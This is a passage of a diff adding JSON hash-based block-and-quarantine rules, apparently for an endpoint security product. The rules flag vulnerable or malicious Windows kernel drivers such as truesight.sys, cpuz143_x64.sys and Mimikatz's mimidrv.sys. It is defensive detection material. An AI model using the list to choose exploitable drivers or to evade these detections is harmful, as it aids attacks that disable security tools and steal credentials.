+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474434Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "79294a62e1e87b177738b310bb4c90de6b60c02f2097562807a7f9f7bba8237d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "61bc437b-fa18-58cb-8d07-eb578321f533",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484183Z",
+  "creation_date": "2026-03-23T11:45:31.484209Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484220Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f28506a8904778d8daf691670cb862b079df76b29f629a2cd8dae93f7628000d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "61cbcc94-68df-55b5-8be5-9b2128626855",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145112Z",
+  "creation_date": "2026-03-23T11:45:32.145114Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145120Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4f9b5a2fe29c436a53d36d8a2084369ac6a8cd59b9eb01b3d3fa293f3487d3cc",
+  "comment": "Malicious Kernel Driver (aka driver_4f9b5a2f.sys) [https://www.loldrivers.io/drivers/b660d253-2b60-46c5-b95a-c354aa5eb154/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "61d72c1c-f906-5f69-be0a-15e5e1795a20",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478045Z",
+  "creation_date": "2026-03-23T11:45:30.478048Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478057Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3bf4f8cb26ba38e54636864c744aac0839e7a1d6cb7b6cf13995e8ab19b9f7f8",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "61dcb723-1a2b-5dbe-b768-98f0753383a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.815746Z",
+  "creation_date": "2026-03-23T11:45:30.815748Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.815754Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5074f17c7cc4fdabec65b3b07132425ad0d9fefd993e896baba2f97f16277581",
+  "comment": "Vulnerable Kernel Driver (aka RadHwMgr.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "61dedb8b-5824-5211-bc61-89dbb2003c33",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810829Z",
+  "creation_date": "2026-03-23T11:45:31.810831Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810837Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0d332fd20e74b55500b47007c46493d34c736d046f2d9fca002ec9dc16983775",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "61e999a5-f582-5773-ac07-dce00ede1412",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146132Z",
+  "creation_date": "2026-03-23T11:45:31.146134Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146139Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e96d64383a9ffc94a6c10abc77324e6e9b16b86757af21aa686e3c8aa3bb9190",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "61f45de2-4287-50c6-b22a-0d54cdb428e9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611711Z",
+  "creation_date": "2026-03-23T11:45:29.611713Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611718Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d70bfea03deeea92a253f2b4a8b7181a3064f62c5207f94b5f7ce5a9e62ab4cf",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "61fee31e-8a79-5d07-acf8-ff7aca4184f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824024Z",
+  "creation_date": "2026-03-23T11:45:30.824026Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824032Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cb1874b72bd6d05c9fbef698c45a6da126ae430433fe1c16dec8ef095379e6b4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "620b583f-76cc-59c9-93ed-13258f0a02fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474152Z",
+  "creation_date": "2026-03-23T11:45:31.474156Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474165Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f58a54da72384be4633924060d8553d6b1a46d62b64964939a61454fe277f287",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "620fcf68-3508-5af4-9de8-b357b6926d6f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495188Z",
+  "creation_date": "2026-03-23T11:45:31.495190Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495196Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d16dfca503373fddcc71e64f064cae1e2e9295bedaa345aa5388235478687b53",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6219657a-a4c1-5614-a2c5-41da03de1284",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831830Z",
+  "creation_date": "2026-03-23T11:45:30.831832Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831837Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "20f0823320229b75f2f39f86e7499203ad06f3d52c03487ce7629c4b1a4819be",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "62218011-9d18-5d19-a93f-4e2d6c75c809",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465483Z",
+  "creation_date": "2026-03-23T11:45:30.465486Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465495Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ce4f8089b02017cbe86a5f25d6bc69dd8b6f5060c918a64a4123a5f3be1e878",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "62248f3a-5ddb-5b43-a3dc-84304e6f2456",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830259Z",
+  "creation_date": "2026-03-23T11:45:30.830261Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830266Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b55e7f88289ce8018bdda56e1445b2f72f18dc29a6d3ba8e88da6a7bf83468f2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6224d19b-84a1-51c6-81bb-01a5e08c659a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815527Z",
+  "creation_date": "2026-03-23T11:45:31.815528Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815534Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c9c7959f399de15f1d8cc13e269ff773d6f73361c7ab1f056921acb20dd514fd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6238d482-e9ea-5437-a858-e666d3f2e55e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481024Z",
+  "creation_date": "2026-03-23T11:45:30.481026Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481032Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89bc3cb4522f9b0bf467a93a4123ef623c28244e25a9c34d4aae11f705d187e7",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "623e65ae-dd4b-5dbb-8a53-578c2ef43a08",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970349Z",
+  "creation_date": "2026-03-23T11:45:29.970351Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970356Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d43520128871c83b904f3136542ea46644ac81a62d51ae9d3c3a3f32405aad96",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "624a845d-4fa4-50c8-b549-efee40e8def0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829067Z",
+  "creation_date": "2026-03-23T11:45:31.829071Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829080Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "966e8ab3a72e03b2be20ef9dae055a74a2b242603669115c6b8a33f01f273616",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6251c1c3-83b7-5d95-8d7b-898d2f4e3737",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817661Z",
+  "creation_date": "2026-03-23T11:45:31.817664Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817672Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "070596ced6796cbf129925caa24bf3fd9b6d28f029bab9fdb772f44a0dd94f5d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "62587e2d-1b27-52ce-bbc1-736d526b4644",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159176Z",
+  "creation_date": "2026-03-23T11:45:31.159178Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159183Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0a6f5a86311ba878bce8c0873b8bee0866e0eb1f9123c08fb528bd046c0daea9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "625b9626-014e-53bc-a9e3-3073a71a1339",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821527Z",
+  "creation_date": "2026-03-23T11:45:30.821530Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821539Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e642d82c5cde2bc40a204736b5b8d6578e8e2b893877ae0508cfa3371fc254dc",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "626043a4-b23a-5d27-8cbb-53c6f107cc29",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147604Z",
+  "creation_date": "2026-03-23T11:45:31.147606Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147612Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "84ff6cc24ef5d3b6ec34f60122b1a007e69c7ab8b1de225c95e2ee96ef3ba33c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "62608842-7df0-5f8b-b786-92d62e8a147e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479296Z",
+  "creation_date": "2026-03-23T11:45:30.479298Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479304Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f020137cb08f86c48810780209a3f4a1fac361ed089ade61c1b5d6c64ded7872",
